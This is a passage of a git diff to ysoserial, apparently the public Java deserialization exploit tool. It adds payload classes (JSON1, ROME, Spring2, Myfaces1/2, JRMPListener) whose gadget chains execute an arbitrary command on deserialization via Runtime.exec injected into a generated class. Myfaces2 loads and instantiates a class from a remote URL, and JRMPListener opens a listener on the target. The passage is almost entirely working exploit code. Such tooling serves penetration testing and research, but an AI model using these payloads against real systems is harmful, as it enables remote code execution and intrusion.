proxy; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JRMPClient.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/JRMPListener.java b/src/main/java/ysoserial/payloads/JRMPListener.java new file mode 100644 index 0000000..0d6f599 --- /dev/null +++ b/src/main/java/ysoserial/payloads/JRMPListener.java @@ -0,0 +1,55 @@ +package ysoserial.payloads; + + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + * + * Requires: + * - JavaSE + * + * Argument: + * - Port number to open listener to + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( skip = "This test would make you potentially vulnerable") +public class JRMPListener extends PayloadRunner implements ObjectPayload { + + public UnicastRemoteObject getObject ( final String command ) throws Exception { + int jrmpPort = Integer.parseInt(command); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { + RemoteRef.class + }, new Object[] { + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JRMPListener.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/JSON1.java b/src/main/java/ysoserial/payloads/JSON1.java new file mode 100644 index 0000000..ac66e7e --- /dev/null +++ b/src/main/java/ysoserial/payloads/JSON1.java @@ -0,0 +1,119 @@ +package ysoserial.payloads; + + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.util.HashMap; +import java.util.Map; + +import javax.management.openmbean.CompositeData; +import javax.management.openmbean.CompositeType; +import javax.management.openmbean.OpenDataException; +import javax.management.openmbean.OpenType; +import javax.management.openmbean.TabularDataSupport; +import javax.management.openmbean.TabularType; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl; +import net.sf.json.JSONObject; + + +/** + * + * A bit more convoluted example + * + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) + * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) + * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) + * net.sf.json.JSONObject._fromBean(Object, JsonConfig) + * net.sf.json.JSONObject.fromObject(Object, JsonConfig) + * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) + * net.sf.json.JSONObject._processValue(Object, JsonConfig) + * net.sf.json.JSONObject.processValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object) + * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) + * javax.management.openmbean.TabularDataSupport.equals(Object) + * java.util.HashMap.putVal(int, K, V, boolean, boolean) + * java.util.HashMap.readObject(ObjectInputStream) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes", "unchecked", "restriction" +} ) +@Dependencies ( { + "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", + // deep deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", + "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" +} ) +public class JSON1 implements ObjectPayload { + + public Map getObject ( String command ) throws Exception { + return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class); + } + + + /** + * Will call all getter methods on payload that are defined in the given interfaces + */ + public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException { + CompositeType rt = new CompositeType("a", "b", new String[] { + "a" + }, new String[] { + "a" + }, new OpenType[] { + javax.management.openmbean.SimpleType.INTEGER + }); + TabularType tt = new TabularType("a", "b", rt, new String[] { + "a" + }); + TabularDataSupport t1 = new TabularDataSupport(tt); + TabularDataSupport t2 = new TabularDataSupport(tt); + + // we need to make payload implement composite data + // it's very likely that there are other proxy impls that could be used + AdvisedSupport as = new AdvisedSupport(); + as.setTarget(payload); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections + .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); + CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl(); + invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler); + invocationHandler.setDefaultHandler(delegateInvocationHandler); + final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); + + JSONObject jo = new JSONObject(); + Map m = new HashMap(); + m.put("t", cdsProxy); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(jo, "properties", m); + Reflections.setFieldValue(t1, "dataMap", jo); + Reflections.setFieldValue(t2, "dataMap", jo); + return Gadgets.makeMap(t1, t2); + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JSON1.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java index 342f306..811c2e0 100755 --- a/src/main/java/ysoserial/payloads/Jdk7u21.java +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -7,11 +7,11 @@ import java.util.LinkedHashSet; import javax.xml.transform.Templates; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; /* @@ -51,12 +51,13 @@ LinkedHashSet.readObject() Runtime.exec() */ -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies() +@PayloadTest ( precondition = "isApplicableJavaVersion") public class Jdk7u21 implements ObjectPayload { public Object getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; @@ -78,6 +79,21 @@ public class Jdk7u21 implements ObjectPayload { return set; } + + public static boolean isApplicableJavaVersion() { + String property = System.getProperties().getProperty("java.version"); + if ( property == null ) { + return false; + } + String parts[] = property.split("\\.|_|-");; + int major = Integer.parseInt(parts[1]); + int minor = Integer.parseInt(parts[2]); + int update = Integer.parseInt(parts[3]); + if ( major < 7 || (major == 7 && update <= 21) ) { + return true; + } + return false; + } public static void main(final String[] args) throws Exception { PayloadRunner.run(Jdk7u21.class, args); diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java new file mode 100644 index 0000000..c3f46dc --- /dev/null +++ b/src/main/java/ysoserial/payloads/Myfaces1.java @@ -0,0 +1,92 @@ +package ysoserial.payloads; + + + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - an EL expression to execute + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest(skip="Requires running MyFaces, no direct execution") +public class Myfaces1 implements ObjectPayload, DynamicDependencies { + + public Object getObject ( String command ) throws Exception { + return makeExpressionPayload(command); + } + + + public static String[] getDependencies () { + if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ( "juel".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return Gadgets.makeMap(e2, e); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/Myfaces2.java b/src/main/java/ysoserial/payloads/Myfaces2.java new file mode 100644 index 0000000..d90cd48 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Myfaces2.java @@ -0,0 +1,64 @@ +package ysoserial.payloads; + + + +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + + +/** + * + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * Arguments: + * - base_url:classname + * + * Yields: + * - Instantiation of remotely loaded class + * + * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) +public class Myfaces2 implements ObjectPayload, DynamicDependencies { + + public static String[] getDependencies () { + return Myfaces1.getDependencies(); + } + + + public Object getObject ( String command ) throws Exception { + int sep = command.lastIndexOf(':'); + if ( sep < 0 ) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + + // if we add fewer than the actual classloaders we end up with a null entry + for ( int i = 0; i < 100; i++ ) { + expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + } + expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + + return Myfaces1.makeExpressionPayload(expr); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Myfaces2.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index 3a8133f..443f037 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -1,45 +1,103 @@ package ysoserial.payloads; + +import java.lang.reflect.Modifier; +import java.util.Iterator; import java.util.Set; import org.reflections.Reflections; import ysoserial.GeneratePayload; -public interface ObjectPayload { - /* - * return armed payload object to be serialized that will execute specified - * command on deserialization - */ - public T getObject(String command) throws Exception; - public static class Utils { - // get payload classes by classpath scanning - public static Set> getPayloadClasses() { - final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); - final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); - return payloadTypes; - } +@SuppressWarnings ( "rawtypes" ) +public interface ObjectPayload { - @SuppressWarnings("unchecked") - public - static Class getPayloadClass(final String className) { - Class clazz = null; - try { - clazz = (Class) Class.forName(className); - } catch (Exception e1) { - } - if (clazz == null) { - try { - return clazz = (Class) Class.forName(GeneratePayload.class.getPackage().getName() - + ".payloads." + className); - } catch (Exception e2) { - } - } - if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) { - clazz = null; - } - return clazz; - } - } + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject ( String command ) throws Exception; + + public static class Utils { + + // get payload classes by classpath scanning + public static Set> getPayloadClasses () { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for ( Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { + iterator.remove(); + } + } + return payloadTypes; + } + + + @SuppressWarnings ( "unchecked" ) + public static Class getPayloadClass ( final String className ) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } + catch ( Exception e1 ) {} + if ( clazz == null ) { + try { + return clazz = (Class) Class + .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); + } + catch ( Exception e2 ) {} + } + if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { + clazz = null; + } + return clazz; + } + + + public static Object makePayloadObject ( String payloadType, String payloadArg ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(payloadArg); + } + catch ( Exception e ) { + throw new IllegalArgumentException("Failed to construct payload", e); + } + return payloadObject; + } + + + @SuppressWarnings ( "unchecked" ) + public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { + if ( payload instanceof ReleaseableObjectPayload ) { + ( (ReleaseableObjectPayload) payload ).release(object); + } + } + + + public static void releasePayload ( String payloadType, Object payloadObject ) { + final Class payloadClass = getPayloadClass(payloadType); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); + + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + releasePayload(payload, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(); + } + + } + } } diff --git a/src/main/java/ysoserial/payloads/ROME.java b/src/main/java/ysoserial/payloads/ROME.java new file mode 100644 index 0000000..274e35a --- /dev/null +++ b/src/main/java/ysoserial/payloads/ROME.java @@ -0,0 +1,45 @@ +package ysoserial.payloads; + + +import javax.xml.transform.Templates; + +import com.sun.syndication.feed.impl.ObjectBean; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +/** + * + * TemplatesImpl.getOutputProperties() + * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) + * NativeMethodAccessorImpl.invoke(Object, Object[]) + * DelegatingMethodAccessorImpl.invoke(Object, Object[]) + * Method.invoke(Object, Object...) + * ToStringBean.toString(String) + * ToStringBean.toString() + * ObjectBean.toString() + * EqualsBean.beanHashCode() + * ObjectBean.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + * + * @author mbechler + * + */ +@Dependencies("rome:rome:1.0") +public class ROME implements ObjectPayload { + + public Object getObject ( String command ) throws Exception { + Object o = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, o); + ObjectBean root = new ObjectBean(ObjectBean.class, delegate); + return Gadgets.makeMap(root, root); + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(ROME.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java new file mode 100644 index 0000000..6a8b531 --- /dev/null +++ b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java @@ -0,0 +1,11 @@ +package ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface ReleaseableObjectPayload extends ObjectPayload { + + void release( T obj ) throws Exception; +} diff --git a/src/main/java/ysoserial/payloads/Spring1.java b/src/main/java/ysoserial/payloads/Spring1.java index f655cfb..9e0663e 100644 --- a/src/main/java/ysoserial/payloads/Spring1.java +++ b/src/main/java/ysoserial/payloads/Spring1.java @@ -15,8 +15,6 @@ import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; - /* Gadget chain: @@ -46,12 +44,12 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; */ -@SuppressWarnings({"restriction", "rawtypes"}) +@SuppressWarnings({"rawtypes"}) @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) public class Spring1 extends PayloadRunner implements ObjectPayload { public Object getObject(final String command) throws Exception { - final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); diff --git a/src/main/java/ysoserial/payloads/Spring2.java b/src/main/java/ysoserial/payloads/Spring2.java new file mode 100644 index 0000000..c3bd77a --- /dev/null +++ b/src/main/java/ysoserial/payloads/Spring2.java @@ -0,0 +1,68 @@ +package ysoserial.payloads; + + +import static java.lang.Class.forName; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + + +/** + * + * Just a PoC to proof that the ObjectFactory stuff is not the real problem. + * + * Gadget chain: + * TemplatesImpl.newTransformer() + * Method.invoke(Object, Object...) + * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.newTransformer() + * Method.invoke(Object, Object...) + * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies ( { + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + // test deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" +} ) +public class Spring2 extends PayloadRunner implements ObjectPayload { + + public Object getObject ( final String command ) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(templates)); + + final Type typeTemplatesProxy = Gadgets.createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + Type.class, + Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); + Reflections.setFieldValue(mitp, "provider", typeProviderProxy); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + return mitp; + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Spring2.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/annotation/PayloadTest.java b/src/main/java/ysoserial/payloads/annotation/PayloadTest.java new file mode 100644 index 0000000..f729988 --- /dev/null +++ b/src/main/java/ysoserial/payloads/annotation/PayloadTest.java @@ -0,0 +1,19 @@ +package ysoserial.payloads.annotation; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author mbechler + * + */ +@Retention(RetentionPolicy.RUNTIME) +public @interface PayloadTest { + + String skip() default ""; + + String precondition() default ""; + + String harness() default ""; + +} diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index ad6b18c..079a12e 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -1,10 +1,13 @@ package ysoserial.payloads.util; + import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; import java.io.Serializable; import java.lang.reflect.Array; +import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; @@ -21,80 +24,133 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + /* * utility generator functions for common jdk-only gadgets */ -@SuppressWarnings("restriction") +@SuppressWarnings ( { + "restriction", "rawtypes", "unchecked" +} ) public class Gadgets { - static { - // special case for using TemplatesImpl gadgets with a SecurityManager enabled - System.setProperty(DESERIALIZE_TRANSLET, "true"); - } + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } - public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - public static class StubTransletPayload extends AbstractTranslet implements Serializable { - private static final long serialVersionUID = -5971610431559700674L; + public static class StubTransletPayload extends AbstractTranslet implements Serializable { - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + private static final long serialVersionUID = -5971610431559700674L; - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} - } - // required to make TemplatesImpl happy - public static class Foo implements Serializable { - private static final long serialVersionUID = 8207363842866235160L; - } + public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} - public static T createMemoitizedProxy(final Map map, final Class iface, - final Class ... ifaces) throws Exception { - return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); - } - public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { - return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); - } + @Override + public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } - public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { - final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); - allIfaces[0] = iface; - if (ifaces.length > 0) { - System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); - } - return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); - } + // required to make TemplatesImpl happy + public static class Foo implements Serializable { - public static Map createMap(final String key, final Object val) { - final Map map = new HashMap(); - map.put(key,val); - return map; - } + private static final long serialVersionUID = 8207363842866235160L; + } - public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { - final TemplatesImpl templates = new TemplatesImpl(); - // use template gadget class - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); - final CtClass clazz = pool.get(StubTransletPayload.class.getName()); - // run command in static initializer - // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); - // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) - clazz.setName("ysoserial.Pwner" + System.nanoTime()); + public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } - final byte[] classBytes = clazz.toBytecode(); - // inject class bytes into instance - Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { - classBytes, - ClassFiles.classAsBytes(Foo.class)}); + public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } - // required to make TemplatesImpl happy - Reflections.setFieldValue(templates, "_name", "Pwnr"); - Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); - return templates; - } + + public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[ 0 ] = iface; + if ( ifaces.length > 0 ) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap ( final String key, final Object val ) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } + + + public static Object createTemplatesImpl ( final String command ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { + return createTemplatesImpl( + command, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + + public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, ClassFiles.classAsBytes(Foo.class) + }); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } + + + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + 